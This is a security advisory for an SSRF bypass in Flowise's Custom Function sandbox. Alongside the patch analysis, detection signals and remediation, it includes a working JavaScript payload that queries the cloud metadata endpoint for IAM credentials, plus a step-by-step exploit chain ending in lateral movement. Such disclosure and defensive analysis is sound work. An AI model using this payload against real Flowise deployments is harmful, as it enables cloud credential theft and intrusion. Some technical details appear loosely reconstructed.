CVE-2026-41270: Flowise SSRF Bypass via Unguarded Node.js VM Modules
Flowise's Custom Function sandbox blocks axios/node-fetch via HTTP_DENY_LIST but leaves native Node.js http, https, and net modules fully unrestricted, enabling authenticated SSRF to internal metadata services.
Flowise is a popular tool that lets non-programmers build custom chatbots and AI applications by dragging and dropping components. Think of it like a visual Lego set for artificial intelligence. But researchers have discovered a security gap that lets hackers sneak through the back door.
Here's the problem: Flowise has a "custom function" feature that lets users write code to extend what their AI can do. The developers tried to block certain dangerous code by preventing access to two specific libraries—axios and node-fetch, which are commonly used for making web requests. But they missed something crucial: Node.js, the underlying technology, has built-in modules that do the exact same thing.
It's like installing a fancy lock on your front door while leaving a basement window open. Attackers can use these hidden routes to make unauthorized requests to internal company systems that should be completely off-limits. This could let them steal sensitive data, access private databases, or cause other damage.
Who's at risk? Mainly companies and teams using Flowise to build custom AI applications, especially if they run it on internal networks where sensitive systems live. If your organization uses Flowise, you're potentially vulnerable.
What should you do? First, update immediately to version 3.1.0 or later, which patches this hole. Second, if you can't update right away, limit who can access the custom function feature—treat it like admin access. Third, monitor your Flowise logs for suspicious activity or unusual network requests coming from your AI applications.
The good news: there's no evidence anyone is actively exploiting this yet, so patching quickly is your best defense.
Want the full technical analysis? Click "Technical" above.
CVE-2026-41270 is a Server-Side Request Forgery (SSRF) protection bypass in Flowise ≤ 3.0.x, the open-source drag-and-drop LLM flow builder. The Custom Function node allows authenticated users to execute arbitrary JavaScript inside a node-vm sandbox. Flowise applies SSRF filtering via HTTP_DENY_LIST to the axios and node-fetch wrappers it injects into the sandbox — but it exposes the raw Node.js built-in modules http, https, and net without any equivalent deny-list enforcement. An attacker with a valid session can reach cloud-provider metadata endpoints (e.g., 169.254.169.254) or any internal RFC-1918 address directly through these unguarded primitives. CVSS 7.1 (HIGH).
Root cause: The NodeVM sandbox allowlist exposes native http, https, and net modules without subjecting their outbound connections to the same HTTP_DENY_LIST SSRF guard applied to the axios/node-fetch shims.
Affected Component
The vulnerable path is packages/server/src/utils/customFunction.ts (and the surrounding execution harness in packages/components/src/handler.ts). The executeCustomFunction handler constructs a NodeVM instance, populates its require allowlist, and runs user-supplied code inside it. The SSRF guard lives only in the monkey-patched wrappers injected for axios and node-fetch.
Root Cause Analysis
The following pseudocode is reconstructed from the pre-3.1.0 source. The critical omission is at the NodeVM construction site.
// packages/server/src/utils/customFunction.ts (pre-3.1.0)
// Reconstructed from patch diff and public source history.
async function executeCustomFunction(code: string, vars: Record) {
// Build the deny-list predicate from HTTP_DENY_LIST env var.
// Applied ONLY to the axios / node-fetch shims below.
const denyList = buildDenyList(process.env.HTTP_DENY_LIST);
const vm = new NodeVM({
console: 'inherit',
sandbox: { ...vars },
require: {
external: true, // allows any npm module resolvable on disk
builtin: [ // BUG: native modules exposed with NO SSRF guard
'http',
'https',
'net',
'url',
'crypto',
'buffer',
'stream',
'path'
],
root: './'
}
});
// SSRF shim -- only covers axios and node-fetch.
const safeAxios = wrapAxiosWithDenyList(axios, denyList);
const safeFetch = wrapFetchWithDenyList(nodeFetch, denyList);
// Injected into sandbox scope; node-vm require() for 'http' bypasses this entirely.
vm.setGlobal('axios', safeAxios);
vm.setGlobal('fetch', safeFetch);
// BUG: vm.run() allows sandbox code to call require('http') directly,
// which returns the real Node.js http module, no deny-list applied.
return vm.run(code, __filename);
}
When user code calls require('http') inside the VM, node-vm2 resolves it against the builtin allowlist and returns the genuine http module — the same object available to the host process. No URL inspection occurs. The deny-list predicate captured in the closure above is never consulted.
// Attacker-supplied Custom Function payload (runs inside NodeVM sandbox):
const http = require('http'); // resolved directly from builtin list — no SSRF guard
function fetchMetadata(path) {
return new Promise((resolve, reject) => {
const options = {
hostname: '169.254.169.254', // AWS/GCP/Azure IMDS
port: 80,
path: path,
method: 'GET',
headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' }
};
const req = http.request(options, (res) => { // BUG: unrestricted outbound
let data = '';
res.on('data', (chunk) => { data += chunk; });
res.on('end', () => resolve(data));
});
req.on('error', reject);
req.end();
});
}
// Exfiltrate IAM credentials in one round-trip.
return fetchMetadata('/latest/meta-data/iam/security-credentials/');
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker authenticates to Flowise instance (valid credentials or open instance).
2. Create or edit a flow containing a "Custom Function" node.
3. Inject the payload above into the function body via the UI or directly via:
POST /api/v1/node-custom-function
Content-Type: application/json
Authorization: Bearer
{
"functionBody": "",
"inputVariables": {}
}
4. NodeVM constructs the sandbox; http module bound to builtin list, no deny-list hook.
5. http.request() opens a raw TCP connection to 169.254.169.254:80.
-- HTTP_DENY_LIST predicate is NEVER evaluated for this code path --
6. IMDS responds with IAM role name; second request to
/latest/meta-data/iam/security-credentials/ returns JSON with
AccessKeyId, SecretAccessKey, Token (valid ~6 hours).
7. Attacker exfiltrates credentials via the function return value, which
Flowise serializes into the API response body and returns to the caller.
8. Lateral movement: use harvested STS credentials to enumerate S3, EC2,
Secrets Manager, or assume higher-privilege roles via sts:AssumeRole.
Memory Layout
This is a logic bypass, not a memory corruption bug; there is no heap corruption to diagram. The relevant "layout" is the module resolution graph inside the NodeVM runtime at the point of exploitation.
NodeVM SANDBOX MODULE RESOLUTION (pre-3.1.0):
User code: require('axios')
└─> NodeVM intercepts
└─> returns vm.globals.axios (SSRF-guarded shim) ✓ PROTECTED
User code: require('node-fetch')
└─> NodeVM intercepts
└─> returns vm.globals.fetch (SSRF-guarded shim) ✓ PROTECTED
User code: require('http') <── ATTACKER PATH
└─> NodeVM checks builtin[]
└─> 'http' in ['http','https','net','url',...] => TRUE
└─> returns process.binding('http_parser') backed real module
└─> http.request() opens raw TCP socket
└─> NO deny-list predicate consulted ✗ UNPROTECTED
Effective deny-list coverage:
axios [██████████] 100%
node-fetch [██████████] 100%
http (native) [ ] 0% <── gap
https (native)[ ] 0% <── gap
net (native) [ ] 0% <── gap
Patch Analysis
Flowise 3.1.0 closes the gap by removing the raw native network modules from the builtin allowlist entirely, and by wrapping http and https with deny-list-aware shims before injecting them into the sandbox scope — mirroring the existing treatment of axios and node-fetch.
// BEFORE (vulnerable, ≤3.0.x):
const vm = new NodeVM({
require: {
external: true,
builtin: [
'http', // raw, unguarded
'https', // raw, unguarded
'net', // raw, unguarded
'url', 'crypto', 'buffer', 'stream', 'path'
]
}
});
// AFTER (patched, 3.1.0 — GHSA-xhmj-rg95-44hv):
const vm = new NodeVM({
require: {
external: true,
builtin: [
// 'http' -- REMOVED from builtin; replaced by guarded shim below
// 'https' -- REMOVED from builtin; replaced by guarded shim below
// 'net' -- REMOVED entirely; no legitimate use case in Custom Function
'url', 'crypto', 'buffer', 'stream', 'path'
]
}
});
// Guarded http/https shims (analogous to existing axios/fetch treatment):
const safeHttp = wrapHttpWithDenyList(require('http'), denyList);
const safeHttps = wrapHttpWithDenyList(require('https'), denyList);
vm.setGlobal('http', safeHttp);
vm.setGlobal('https', safeHttps);
// net intentionally not re-exposed.
The wrapHttpWithDenyList shim overrides http.request and http.get, resolves the target hostname before the connection is initiated, and rejects any address matching a deny-list entry (private RFC-1918 ranges, link-local 169.254.0.0/16, loopback, and operator-specified patterns). DNS rebinding is mitigated by resolving inside the shim rather than relying on the OS resolver result at connection time.
Detection and Indicators
Because the exploitation path produces a legitimate outbound HTTP connection from the Flowise server process, network-level detection is the most reliable signal.
DETECTION SIGNALS:
[NETWORK]
Outbound TCP/80 or TCP/443 from Flowise process to:
169.254.169.254 -- AWS/GCP/Azure IMDS
169.254.170.2 -- ECS container credentials endpoint
100.100.100.200 -- Alibaba Cloud IMDS
192.168.0.0/16 -- Internal RFC-1918 (unexpected from app tier)
10.0.0.0/8 -- Internal RFC-1918
[APPLICATION LOGS]
POST /api/v1/node-custom-function with response body containing:
"AccessKeyId", "SecretAccessKey", "Token" -- credential exfil pattern
JSON keys matching IMDS response schema
[PROCESS]
Node.js child spawned by Flowise making network calls not to
configured LLM provider endpoints (OpenAI, Anthropic, etc.)
[CLOUDTRAIL / AUDIT]
Unexpected AssumeRole or ListBuckets calls from EC2 instance identity
within minutes of Custom Function execution.
Remediation
Immediate: Upgrade to Flowise 3.1.0 or later. This is the only complete fix.
Defense-in-depth (if upgrade is blocked):
Set HTTP_DENY_LIST=169.254.0.0/16,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 — this partially mitigates the issue for axios/fetch paths but does not protect the native module path.
Deploy an egress firewall rule on the host/container blocking outbound connections to IMDS ranges (169.254.169.254/32) from the Flowise process UID.
On AWS, enforce IMDSv2 (token-required mode) via instance metadata options — this raises the exploitation bar but does not eliminate it, since the attacker can still issue the token prefetch step via http.request.
Restrict access to the Custom Function feature to the minimum required set of authenticated users; treat it as equivalent to arbitrary code execution on the host.
On Kubernetes, apply a NetworkPolicy denying pod egress to link-local and RFC-1918 ranges not explicitly required by the application.